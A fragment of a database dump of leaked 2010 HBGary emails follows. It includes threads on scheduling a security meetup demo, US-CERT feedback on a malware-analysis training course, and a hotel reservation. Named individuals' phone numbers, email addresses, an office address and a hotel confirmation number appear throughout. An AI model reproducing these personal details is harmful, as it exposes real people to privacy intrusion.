(TASC)\r\n\r\n\r\n\r\nSubject: Re: FW: FW: Hacker Group\r\n\r\nSo would it be this Thursday?  Let me talk to Mark.\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 9:51 AM, Winterfeld, Steven P (TASC)\r\n\r\n\r\n\r\n&lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Do you want to try this week or shoot for next month?  If you&#39;re\r\nwilling to\r\n&gt; do it this week can you give me a paragraph I can share with the guys.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Steve\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; PS - Is it OK to do it at your place?\r\n\r\n\r\n\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: JJ Cummings [mailto:jcummings@sourcefire.com]\r\n\r\n\r\n\r\n&gt; Sent: Monday, June 28, 2010 9:47 AM\r\n\r\n\r\n\r\n\r\n\r\n&gt; To: Winterfeld, Steven P\r\n(TASC)\r\n&gt; Subject: Re: FW: Hacker Group\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I dunno, we should start pushing now... can you get a description and shit\r\n&gt; so that we can send out to the list...\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 9:45 AM, Winterfeld, Steven P (TASC)\r\n&gt; &lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; Do we have a plan?  How many folks do you think we will get if we\r\nannounce\r\n&gt; he will show off HBGary tools?   Would hate to ask him to demo\r\nand have just\r\n&gt; us show up...\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: JJ Cummings [mailto:jcummings@sourcefire.com]\r\n&gt; Sent: Monday, June 28, 2010 9:17 AM\r\n&gt;\r\n&gt; To: Winterfeld, Steven P (TASC)\r\n&gt;\r\n&gt; Subject: Re: FW: Hacker Group\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I think in an upcoming Thurs.. instead of the scheduled Fri we have moved\r\nto\r\n&gt; Thur\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 9:15 AM, Winterfeld, Steven P (TASC)\r\n&gt; &lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; JJ\r\n&gt;\r\n&gt; When do you want to have the next hacker group meeting?  Ted is willing\r\n&gt; to demo his system (think we could use his office to have the meeting\r\n&gt; down town.  It is within walking distance of the bars...\r\n&gt;\r\n&gt; Steve\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Monday, June 28, 2010 8:29 AM\r\n&gt; To: Winterfeld, Steven P (TASC)\r\n&gt; Subject: Hacker Group\r\n&gt;\r\n&gt; Hi Steve,\r\n&gt;\r\n&gt; I&#39;m back in the office and was wondering when your next hacker meeting\r\n&gt; is?  Mark and I need to travel to Sacramento sometime either late this\r\n&gt; week or early next.\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; JJ Cummings\r\n&gt; P: (719) 924-5263\r\n&gt; jj.cummings@sourcefire.com\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; JJ Cummings\r\n&gt; P: (719) 924-5263\r\n&gt; jj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nJJ Cummings\r\nP: (719) 924-5263\r\njj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n-- JJ CummingsP: (719) 924-5263jj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n-- JJ CummingsP: (719) 924-5263jj.cummings@sourcefire.com\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',15136,'aaron_hbgary_com/15136.html'),(9639,'2010-08-04','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007616.M606168P14101Q4494.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Met with Bill this morning?','Not bad, presentaions were pretty bad except for tom\'s. Traffic to our booth was decent for our fbi outreach. \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Matthew Steckman\r\nSubject: Re: Met with Bill this morning?\r\nSent: Aug 4, 2010 12:19 PM\r\n\r\nAre u up at the ICCS conference?\r\nIf so how is it?\r\n\r\nOn Aug 2, 2010, at 2:59 PM, Matthew Steckman wrote:\r\n\r\n> I did meet with Bill, he has quite the resume.\r\n> \r\n> I\'ll be in NYC Tue and Wednesday.  I could possibly do Thursday sometime in\r\n> the afternoon.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 02, 2010 2:56 PM\r\n> To: Matthew Steckman\r\n> Subject: Met with Bill this morning?\r\n> \r\n> Hey want to get together tomorrow afternoon or Wednesday?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',2271,'aaron_hbgary_com/2271.html'),(9640,'2010-08-04','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297007616.M823517P14101Q4495.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','Re: HBGary Training Feedback','Yes I am.  Once you know the required paperwork to share samples I can facilitate the signing on our side.On Wed, Aug 4, 2010 at 12:15 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nSean\r\n \r\nGreat to hear!\r\n \r\nLet&#39;s meet on Thursday at 10:30.  I will send you a meeting invitation for confirmation.\r\n \r\nCan you please give me your office address?\r\n \r\nJim Richards is the Training Manager at HBGary he will assist you in registering for the &quot;audit&quot; or &quot;repeat&quot; classes.\r\n \r\nPhil Wallisch is also looking forward to working with you in your lab in September.\r\n \r\nMaria\r\nOn Wed, Aug 4, 2010 at 9:11 AM, &lt;Sean.Sobieraj@us-cert.gov&gt; wrote:\r\nThanks Maria, we are looking forward to the additional training.  Wewould like to send at least one person to the class coming up on\r\n\r\nSeptember 14-15.  Do you have an updated schedule for classes beyondthat?Thursday or Friday around the same time should also be fine.  That mightactually be better coming off the long weekend.  I don&#39;t think an NDA is\r\n\r\nnecessary for the meeting but it may be for sharing malware samples.  Weare working that out.Thanks,Sean\r\n-----Original Message-----From: Maria Lucas [mailto:maria@hbgary.com]\r\n\r\n\r\nSent: Tuesday, August 03, 2010 1:20 PMTo: Sobieraj, Sean CCc: Copeland, Byron; Aaron Barr; Jim RichardsSubject: Re: HBGary Training FeedbackHi SeanThanks for the feedback!\r\nJim Richards, Training Manager will be incorporating your ideas -- somehe said are doable.... you should hear from Jim...  Support isresearching the ticket and will retrace to see what happened on our end.\r\n\r\nFor additional training, Phil Wallisch said that he will call you inSeptember and schedule time to work with you and your team in the lab.Plus, you may repeat the class anytime, or you may send a person toaudit the next 3 day class and provide feedback...\r\n\r\nWith regards to the date.  Aaron Barr is available Tuesday for a 10:30am meeting.  I would be available if the meeting were set later in theweek, but it is reallly Aaron that you need to speak with.  Aaron has an\r\n\r\nISSA Clearance, which equates to ts/sci/g/h.  Did you want to have anNDA in place for the meeting?I will also be with Aaron at the GFIRST conference..........Maria\r\nOn Tue, Aug 3, 2010 at 6:06 AM, &lt;Sean.Sobieraj@us-cert.gov&gt; wrote:\r\n       Maria,       Here&#39;s some feedback regarding the Responder Pro training:       - The instructor was very knowledgeable and helpful, howeverthere was       not enough time to cover all the material.  What we did cover\r\n\r\nwas rushed       and other sections were omitted entirely.       - There was no thorough review of the lab exercises.  For somewe were       provided the correct answers and the rest we did not review at\r\n\r\nall.       - It was not clear what level of experience was expected by the       students.  There were many with little knowledge of malwareanalysis who       had a hard time following the material, and didn&#39;t understand\r\n\r\nwhy you       would look some places for information and what made itsignificant.       - Students had to spend time installing programs and updates and       figuring out how to disable the AV after we determined it was\r\n\r\ncorrupting       the lab files.  This took away from the time doing analysis.       - The multiple choice quizzes in the lecture material were nothelpful.       - Although more of an admin issue, the directions to the class\r\n\r\nhad us       report to a classroom in a different building that apparentlyhad not       been used for this training in some time.       Some suggestions:       - Increase the length of the course to allow sufficient time for\r\n\r\nreview       and discussion of the material.  (I heard it was changed to 3days.)       - Increase the hands-on time so the lab exercises equal orexceed the       lecture time.       - Step through an entire analysis, including compiling the data\r\n\r\ninto a       report.  A more linear approach to analysis with somewhat of adecision       tree like you mentioned might help people understand the processas it       relates to Responder Pro when first being introduced to it.\r\n\r\n       - Possibly allow an opportunity to analyze malware samplesprovided by       the students, with the students collaborating on the analysisand using       the techniques taught in class.       - A performance evaluation at the conclusion of training.  Not\r\n\r\nmultiple       choice questions, but a sample requiring analysis, with apassing grade       being a report with the required information.       As a result of the lack of review and discussion, and omitted\r\n\r\nlecture       material, the class was of little value and didn&#39;t notsignificantly       contribute to our ability to use Responder Pro for malwareanalysis.       Unrelated to the class, an analyst here had a poor experience\r\n\r\nwith       HBGary&#39;s technical support.  This person never received an emailor call       about the ticket (#394) until after receiving a notificationthat it had       been closed without the problem being resolved.  I believe the\r\n\r\nissue was       addressed at the class.       Regarding the Threat Management Center demo, how does earlySeptember       sound?  Maybe sometime after 10am on September 7th?       Thanks,       Sean\r\n\r\n--Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:240-396-5971email: maria@hbgary.com\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',13085,'aaron_hbgary_com/13085.html'),(9641,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007617.M381690P14101Q4497.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: FW: Reminder: Your stay at JW Marriott San Antonio Hill Country 	Resort & Spa begins Tuesday, August 17, 2010','Thanks DeeAnn!On Wed, Aug 4, 2010 at 10:26 AM, DeeAnn Buonaccorsi &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Ted here is your reservation for GFirst.\r\n\r\n \r\n\r\nPlease contact me if you have any questions.  \r\n\r\n \r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite\r\n250\r\n\r\nSacramento, CA  95864\r\n\r\nTel:  916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail  deeann@hbgary.com\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: &#39;Marriott Hotels\r\n&amp; Resorts Reservation&#39; [mailto:reservations@marriott.com] \r\nSent: Wednesday, August 04, 2010 9:20 AM\r\nTo: DEEANN@HBGARY.COM\r\nSubject: Reminder: Your stay at JW Marriott San Antonio Hill Country\r\nResort &amp; Spa begins Tuesday, August 17, 2010\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJW Marriott San Antonio Hill\r\nCountry Resort &amp; Spa 23808 Resort\r\nParkway, \r\nSan Antonio, Texas 78261 USA Phone: 1-210-276-2500 Fax:\r\n1-210-403-3452 \r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  Reservation\r\n  for TED VERA\r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  ·        \r\n  Confirmation Number: 87600359\r\n  \r\n  ·        \r\n  Check-in: Tuesday,\r\n  August 17, 2010 (04:00 PM) \r\n  ·        \r\n  Check-out: Thursday,\r\n  August 19, 2010 (11:00 AM) \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  View hotel website \r\n\r\n  Modify or Cancel reservation\r\n  \r\n  \r\n  \r\n  Driving Directions \r\n\r\n  Maps &amp; Transportation\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\nReservation Reminder\r\n\r\nDear TED VERA,\r\n\r\n\r\nYour reservation #87600359 at the JW Marriott San Antonio Hill\r\nCountry Resort &amp; Spa begins soon. We&#39;re excited you&#39;ll be visiting and are\r\npreparing for your stay.\r\n\r\nJW Marriott San Antonio Hill Country\r\nResort &amp; Spa\r\n\r\n\r\n\r\n\r\n\r\nVirtual\r\nConcierge\r\n\r\nTo make arrangements before you arrive,\r\nplease use our Virtual Concierge - an online service that lets you enhance your\r\nstay with a request for food, amenities or services, extra towels for the bath,\r\na late arrival and more.\r\n\r\nMake your requests now \r\n\r\n\r\n\r\n\r\n\r\n\r\nAbout Your Hotel\r\n\r\nServices &amp; Amenities\r\n\r\n·        \r\nHigh-speed Internet in guest rooms\r\n\r\n·        \r\nBusiness center\r\n\r\n·        \r\nFitness center on-site\r\n\r\n·        \r\nOutdoor pool\r\n\r\nFor a complete list of services and\r\namenities, download the hotel fact sheet \r\n\r\n·        \r\nFind a flight:\r\nuncover the best fares \r\n\r\n·        \r\nHertz great special rates\r\n\r\n\r\n·        \r\nJoin Us, Help Save the Rainforest. Learn More and Donate Now\r\n\r\n\r\n\r\n\r\n\r\n\r\nAbout Your Destination\r\n\r\n\r\n\r\nWeather \r\n\r\n\r\nView a 10-day forecast \r\n\r\n\r\n\r\n\r\n\r\n\r\nGo Your\r\nOwn Way \r\nFind everything you need to make\r\nyour stay go smoothly with local restaurant recommendations, itinerary\r\nplanning, local maps, weather and travel information.\r\n\r\n\r\n\r\n\r\n\r\nWhat&#39;s\r\nhappening in San Antonio? \r\nYou know what you like. We know where you can find it in San Antonio. Use the\r\nlinks below, proudly provided by wCities, to find things to do and see in San\r\nAntonio.\r\n\r\n\r\n\r\n·        \r\nCity Insider \r\n\r\n\r\n·        \r\nTop Pick \r\n\r\n\r\n·        \r\nDining \r\n\r\n\r\n·        \r\nBars &amp; Nightlife \r\n\r\n\r\n·        \r\nThings to do \r\n\r\n\r\n·        \r\nBusiness Essentials \r\n\r\n\r\n·        \r\nShopping \r\n\r\n\r\n·        \r\nPractical Information \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nReservation\r\nDetails\r\n\r\n·        \r\nConfirmation Number: 87600359\r\n\r\n\r\n·        \r\nYour Resort:\r\nJW Marriott San Antonio Hill Country Resort &amp; Spa\r\n\r\n·        \r\nCheck-in: Tuesday,\r\nAugust 17, 2010 (04:00 PM) \r\n\r\n·        \r\nCheck-out: Thursday,\r\nAugust 19, 2010 (11:00 AM) \r\n\r\n·        \r\nRoom type: Guest room, 1\r\nKing or 2 Double, Juliette balcony\r\n\r\n·        \r\nNumber of rooms:\r\n1\r\n\r\n·        \r\nGuests per room:\r\n1\r\n\r\n·        \r\nGuest name:\r\nTED VERA\r\n\r\n·        \r\nReservation confirmed: Wednesday,\r\nJune 2, 2010 (21:09:00 GMT)\r\n\r\n·        \r\nGuarantee method:\r\nCredit card guarantee, Visa\r\n\r\n\r\n\r\nSpecial\r\nrequest(s): \r\n\r\n·        \r\n•1\r\nKing Bed, Guaranteed\r\n\r\n·        \r\n•2\r\nDay Cancel Policy, Request Noted\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Summary of Room Charges\r\n  \r\n  \r\n  Cost per night per room (USD)\r\n  \r\n \r\n \r\n  \r\n  Tuesday, August 17, 2010 - Thursday, August 19, 2010 ( 2\r\n  nights ) \r\n  \r\n  \r\n  117.00\r\n  \r\n \r\n \r\n  \r\n  GFIRST \r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  Estimated government taxes and fees\r\n  \r\n  \r\n  23.78\r\n  \r\n \r\n \r\n  \r\n  Resort fee\r\n  \r\n  \r\n  25.00\r\n  \r\n \r\n \r\n  \r\n  Total for stay (for all rooms) \r\n  \r\n  \r\n  331.57 \r\n  \r\n \r\n \r\n  \r\n  ·        \r\n  Complimentary on-site parking\r\n  ·        \r\n  Valet parking, fee: 25 USD daily\r\n  ·        \r\n  Changes in taxes or fees implemented after booking will affect\r\n  the total room price.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYou may modify or cancel your\r\nreservation online (see details below), or call 1-800-228-9290\r\nin the US and Canada. Elsewhere, call our worldwide telephone numbers .\r\n\r\n\r\nContact us if you\r\nhave questions about your reservation.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  Up to 4 Free Nights!Earn 22,500 Bonus Points\r\n  and a Free Night Stay — enough for 4 Free Nights — with the\r\n  Marriott Rewards Credit Card. Reward yourself. \r\n  \r\n  Apply Now\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTravel Alerts\r\n\r\n·        \r\nCurrently, passport or approved travel\r\ndocument are required for those traveling by air, land or sea to enter/re-enter\r\nthe U.S.A. from Canada, Mexico, Bermuda, and the Caribbean. Get details\r\n\r\n\r\n·        \r\nPlease Note: All Marriott hotels in the\r\nUSA and Canada, are committed to a smoke-free policy. \r\nLearn more\r\n\r\n·        \r\nThe Responsible Tourist and Traveler\r\nA practical\r\nguide to help you make your trip an enriching experience\r\n\r\n·        \r\nNew Requirements for Travel to the USA\r\nfrom Visa Waiver Program Countries. Learn more\r\n\r\n\r\n\r\n\r\n\r\nLook No Further\r\nYou&#39;ve received the best possible rate - guaranteed.\r\n\r\n\r\n\r\n\r\n\r\nInternet Privacy, Authenticity and Opting Out\r\n\r\nPlease do not reply to this email. This email confirmation is an\r\nauto-generated message. Replies to automated messages are not monitored. Our\r\nInternet Customer Care team is available to assist you 24 hours per day, 7 days\r\nper week. Contact Internet Customer Care \r\n\r\nPromotional\r\nemail unsubscribe\r\n\r\nPeriodically, Marriott sends email about specials and other\r\ninformation that may be of interest to you. If you prefer not to receive these\r\npromotional emails, you may unsubscribe here.\r\n\r\nYou can unsubscribe by regular mail, too. Send requests to the\r\naddress below. Include your name, Marriott Rewards number (if applicable) and\r\nemail address. Allow 10 business days for processing.\r\n\r\nInternet Customer Care - Unsubscribe\r\n1818 North 90 Street\r\nOmaha, Nebraska 68114-1315 USA\r\n\r\nPlease note: If you unsubscribe from promotional email we\r\ncontinue to send important, time-sensitive transactional Marriott messages -\r\nlike confirmation email - when you make reservations, use Marriott Rewards\r\npoints, etc.\r\n\r\nMarriott does not share email addresses with third parties for\r\ntheir use.\r\n\r\nConfirmation\r\nAuthenticity\r\n\r\nWe&#39;re sending you this confirmation notice electronically for\r\nyour convenience. Marriott keeps an official record of all electronic\r\nreservations. We honor our official record only and will disregard any\r\nalterations to this confirmation that may have been made after we sent it to\r\nyou.\r\n\r\nIf you have received this email in error, please let us know.\r\n\r\n\r\nYour privacy is important to us. For details, please visit our Internet Privacy Statement.\r\n\r\n\r\n\r\n\r\n\r\n\r\nTerms of Use::Internet Privacy Statement\r\n\r\n\r\n©1996-2010\r\nMarriott International, Inc. All rights reserved. Marriott proprietary\r\ninformation. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',1742,'aaron_hbgary_com/1742.html'),(9642,'2010-08-04','\"Jim Richards\" <jim@hbgary.com>','/aaron@hbgary.com/new/1297007617.M603281P14101Q4498.eml','Sean.Sobieraj@us-cert.gov,maria@hbgary.com,Sean.Sobieraj@us-cert.gov,maria@hbgary.com','RE: HBGary Training Feedback','Sean,\r\nThe next class in McLean after the September 14-16 class is November 2-4\r\n(https://www.hbgary.com/training/). Please let me know how you want to\r\nproceed with this.\r\n\r\nRegards,\r\n\r\nJim\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Sean.Sobieraj@us-cert.gov [mailto:Sean.Sobieraj@us-cert.gov] \r\nSent: Wednesday, August 04, 2010 9:11 AM\r\nTo: maria@hbgary.com\r\nCc: Byron.Copeland@us-cert.gov; aaron@hbgary.com; jim@hbgary.com\r\nSubject: RE: HBGary Training Feedback\r\n\r\n\r\nThanks Maria, we are looking forward to the additional training.  We\r\nwould like to send at least one person to the class coming up on\r\nSeptember 14-15.  Do you have an updated schedule for classes beyond\r\nthat?\r\n\r\nThursday or Friday around the same time should also be fine.  That might\r\nactually be better coming off the long weekend.  I don\'t think an NDA is\r\nnecessary for the meeting but it may be for sharing malware samples.  We\r\nare working that out.\r\n\r\nThanks,\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, August 03, 2010 1:20 PM\r\nTo: Sobieraj, Sean C\r\nCc: Copeland, Byron; Aaron Barr; Jim Richards\r\nSubject: Re: HBGary Training Feedback\r\n\r\nHi Sean\r\n\r\nThanks for the feedback! \r\n \r\nJim Richards, Training Manager will be incorporating your ideas -- some\r\nhe said are doable.... you should hear from Jim...  Support is\r\nresearching the ticket and will retrace to see what happened on our end.\r\n \r\nFor additional training, Phil Wallisch said that he will call you in\r\nSeptember and schedule time to work with you and your team in the lab.\r\nPlus, you may repeat the class anytime, or you may send a person to\r\naudit the next 3 day class and provide feedback...  \r\n \r\nWith regards to the date.  Aaron Barr is available Tuesday for a 10:30\r\nam meeting.  I would be available if the meeting were set later in the\r\nweek, but it is reallly Aaron that you need to speak with.  Aaron has an\r\nISSA Clearance, which equates to ts/sci/g/h.  Did you want to have an\r\nNDA in place for the meeting?\r\n \r\nI will also be with Aaron at the GFIRST conference..........\r\n \r\n \r\nMaria\r\n\r\n\r\nOn Tue, Aug 3, 2010 at 6:06 AM,  wrote:\r\n\r\n\r\n	Maria,\r\n	\r\n	Here\'s some feedback regarding the Responder Pro training:\r\n	- The instructor was very knowledgeable and helpful, however\r\nthere was\r\n	not enough time to cover all the material.  What we did cover\r\nwas rushed\r\n	and other sections were omitted entirely.\r\n	- There was no thorough review of the lab exercises.  For some\r\nwe were\r\n	provided the correct answers and the rest we did not review at\r\nall.\r\n	- It was not clear what level of experience was expected by the\r\n	students.  There were many with little knowledge of malware\r\nanalysis who\r\n	had a hard time following the material, and didn\'t understand\r\nwhy you\r\n	would look some places for information and what made it\r\nsignificant.\r\n	- Students had to spend time installing programs and updates and\r\n	figuring out how to disable the AV after we determined it was\r\ncorrupting\r\n	the lab files.  This took away from the time doing analysis.\r\n	- The multiple choice quizzes in the lecture material were not\r\nhelpful.\r\n	- Although more of an admin issue, the directions to the class\r\nhad us\r\n	report to a classroom in a different building that apparently\r\nhad not\r\n	been used for this training in some time.\r\n	\r\n	Some suggestions:\r\n	- Increase the length of the course to allow sufficient time for\r\nreview\r\n	and discussion of the material.  (I heard it was changed to 3\r\ndays.)\r\n	- Increase the hands-on time so the lab exercises equal or\r\nexceed the\r\n	lecture time.\r\n	- Step through an entire analysis, including compiling the data\r\ninto a\r\n	report.  A more linear approach to analysis with somewhat of a\r\ndecision\r\n	tree like you mentioned might help people understand the process\r\nas it\r\n	relates to Responder Pro when first being introduced to it.\r\n	- Possibly allow an opportunity to analyze malware samples\r\nprovided by\r\n	the students, with the students collaborating on the analysis\r\nand using\r\n	the techniques taught in class.\r\n	- A performance evaluation at the conclusion of training.  Not\r\nmultiple\r\n	choice questions, but a sample requiring analysis, with a\r\npassing grade\r\n	being a report with the required information.\r\n	\r\n	As a result of the lack of review and discussion, and omitted\r\nlecture\r\n	material, the class was of little value and didn\'t not\r\nsignificantly\r\n	contribute to our ability to use Responder Pro for malware\r\nanalysis.\r\n	\r\n	Unrelated to the class, an analyst here had a poor experience\r\nwith\r\n	HBGary\'s technical support.  This person never received an email\r\nor call\r\n	about the ticket (#394) until after receiving a notification\r\nthat it had\r\n	been closed without the problem being resolved.  I believe the\r\nissue was\r\n	addressed at the class.\r\n	\r\n	Regarding the Threat Management Center demo, how does early\r\nSeptember\r\n	sound?  Maybe sometime after 10am on September 7th?\r\n	\r\n	Thanks,\r\n	Sean\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n--\r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n',2578,'aaron_hbgary_com/2578.html'),(9643,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007617.M73977P14101Q4496.eml','\"JJ Cummings\" <jcummings@sourcefire.com>,\"JJ Cummings\" <jcummings@sourcefire.com>,,','Re: FW: FW: Hacker Group','Are we on for the 12th?Our address is:103 S. Wahsatch Ave.Colorado Springs, CO 80903We are located on the SE corner of Colorado &amp; Wahsatch.  Park in the back.  Much of the upstairs is an Antique store.  We are located in the lower level.  The Triple Nickel Tavern is right across the street, so easy access if we want to go have a drink after the meet... \r\nAs far as the demo/talk, what would most interest your group, here are some ideas:1.  We could talk about/demo Responder Pro &amp; DDNA.2.  We could talk about/demo our new Threat Monitoring Center.\r\n3.  We could talk about/demo our new Active Defense Product (for Enterprises).4.  We could talk about/demo our Fingerprint tool that we released at Blackhat.5.  We could talk about/demo one of our 0-day tools (not for sale, but cool to watch).\r\nTedOn Wed, Jun 30, 2010 at 5:15 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nSorry for the delayed response, we had travel plans for next week and I needed to confirm the dates.  Unfortunately we&#39;ll be in Sacramento July 6-8th.  Can we plan for Aug 12th (2nd Thur in Aug)?\r\nTed\r\nOn Tue, Jun 29, 2010 at 11:22 AM, JJ Cummings &lt;jcummings@sourcefire.com&gt; wrote:\r\n\r\nJuly or Aug? As of now the next meeting should e scheduled for the 2nd Thurs of JulyOn Tue, Jun 29, 2010 at 11:18 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\nCan we schedule it for next month?On Tue, Jun 29, 2010 at 10:42 AM, Winterfeld, Steven P (TASC) &lt;steven.winterfeld@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed – do you want to do this? \r\n\r\n \r\n\r\n\r\n\r\nFrom: JJ Cummings\r\n[mailto:jcummings@sourcefire.com] \r\nSent: Monday, June 28, 2010 10:00 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nCc: Ted Vera\r\nSubject: Re: FW: FW: Hacker Group\r\n\r\n\r\n\r\n \r\n\r\nFrom a numbers perspective generally 5 - 10 (trying to grow\r\nit).. and from a skill level perspective, all over the board.. ppl that know\r\nsecurity inside and out and those that are new / just dabbling..\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJJC\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 9:58 AM, Winterfeld, Steven P (TASC)\r\n&lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n\r\nJJ - can you give Ted a feel for the folks who would come...\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\nSent: Monday, June 28, 2010 9:57 AM\r\nTo: Winterfeld, Steven P (TASC)\r\n\r\n\r\n\r\nSubject: Re: FW: FW: Hacker Group\r\n\r\nSo would it be this Thursday?  Let me talk to Mark.\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 9:51 AM, Winterfeld, Steven P (TASC)\r\n\r\n\r\n\r\n&lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Do you want to try this week or shoot for next month?  If you&#39;re\r\nwilling to\r\n&gt; do it this week can you give me a paragraph I can share with the guys.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Steve\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; PS - Is it OK to do it at your place?\r\n\r\n\r\n\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: JJ Cummings 